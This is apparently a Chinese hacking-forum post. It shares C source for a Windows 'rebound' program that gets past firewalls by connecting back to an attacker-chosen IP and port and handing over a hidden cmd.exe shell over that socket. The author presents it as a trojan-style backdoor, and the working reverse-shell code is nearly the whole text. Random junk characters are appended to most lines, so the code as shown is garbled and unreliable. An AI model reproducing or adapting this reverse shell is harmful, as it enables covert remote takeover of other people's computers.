这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5 f/[HO)
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/* ============================== I}n"6'*
Rebound port in Windows NT b 7aAP*$
By wind,2006/7 /P^@dL
===============================*/ q<oA%yR
#include VY=~cVkzS
#include GY@Np^>[a
9rn! U2
#pragma comment(lib,"wsock32.lib") ,{J2i#g<
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void OutputShell(); E IEwrC
SOCKET sClient; {4}Sl^kn*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V *S|Qy!p
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void main(int argc,char **argv) LMsbTF@E
{ GS8,mQ8l*l
WSADATA stWsaData; bCd! ap+#
int nRet; Qyt6+xL
SOCKADDR_IN stSaiClient,stSaiServer; 8uyVx9C0
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if(argc != 3) 3i>$g3G
{ ],H%u2GE_
printf("Useage:\n\rRebound DestIP DestPort\n"); MMhd -B1O&
return; $N,9e
} YlPZa3\
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WSAStartup(MAKEWORD(2,2),&stWsaData); xS,):R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D@DK9?#
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stSaiClient.sin_family = AF_INET; !RiPr(m@y
stSaiClient.sin_port = htons(0); :".!6~:2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tHJ1MDw'
h2=zvD;
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Qksw+ZjY#{
{ %{zM> le9
printf("Bind Socket Failed!\n"); 8y|(]5
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return; LwY_6[Ef
} m6lNZb]
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stSaiServer.sin_family = AF_INET; FuEHO 6nx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cTRCQ+W6:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pC5-,Z;8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f8[2$i*cL
{ Plm3vk=
printf("Connect Error!"); |7|mnOBdDf
return; }pTw$B
} dN\pe@#lKP
OutputShell(); _NA]=
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} #GWQ]r?
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void OutputShell() KxJJ?WyM
{ $?*+P``
char szBuff[1024]; jLb3{}0
SECURITY_ATTRIBUTES stSecurityAttributes; >z[d~
OSVERSIONINFO stOsversionInfo; 2GZUMXK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HL 88
STARTUPINFO stStartupInfo; !p0FJ].g,
char *szShell; !Z4,UTu|Q
PROCESS_INFORMATION stProcessInformation; ?$
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unsigned long lBytesRead; qIb(uF@l"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?#FAa,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s-8>AW
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stSecurityAttributes.lpSecurityDescriptor = 0; >vP^l
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stSecurityAttributes.bInheritHandle = TRUE; ?hfosBn&[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l#Qf8*0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }$$b6G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ISq^V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]'M4Unu#@
stStartupInfo.wShowWindow = SW_HIDE; W@UHqHr:\
stStartupInfo.hStdInput = hReadPipe; ]}'WNy6c&x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EEkO[J[=
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GetVersionEx(&stOsversionInfo); ke&c<3m
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switch(stOsversionInfo.dwPlatformId) gO$!_!@LM
{ (8H^{2K~
case 1: m m`:ci
szShell = "command.com"; 8,['q~z
break; jkD5Z`D
default: { ET+V
szShell = "cmd.exe"; i uN8gHx
break; 8eLNKgc
} ]?<uf40Mm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i$%V)pH~F
7J 0!vq
send(sClient,szMsg,77,0); Z/_RQ q
while(1) >+$1 p_
{ Ex<-<tY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +, PBhB
if(lBytesRead) 1miTE4;?
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l'o'q7&=z
send(sClient,szBuff,lBytesRead,0); v"bOv"!al
} \wnQ[UNjP
else {v2Q7ZO-
{ /yH:u r
lBytesRead=recv(sClient,szBuff,1024,0); T=>&`aZH
if(lBytesRead<=0) break; a{H~>d<?
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y~W6DL}
} ^WUF3Q**OU
} "lUw{3
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return; }l_) d
}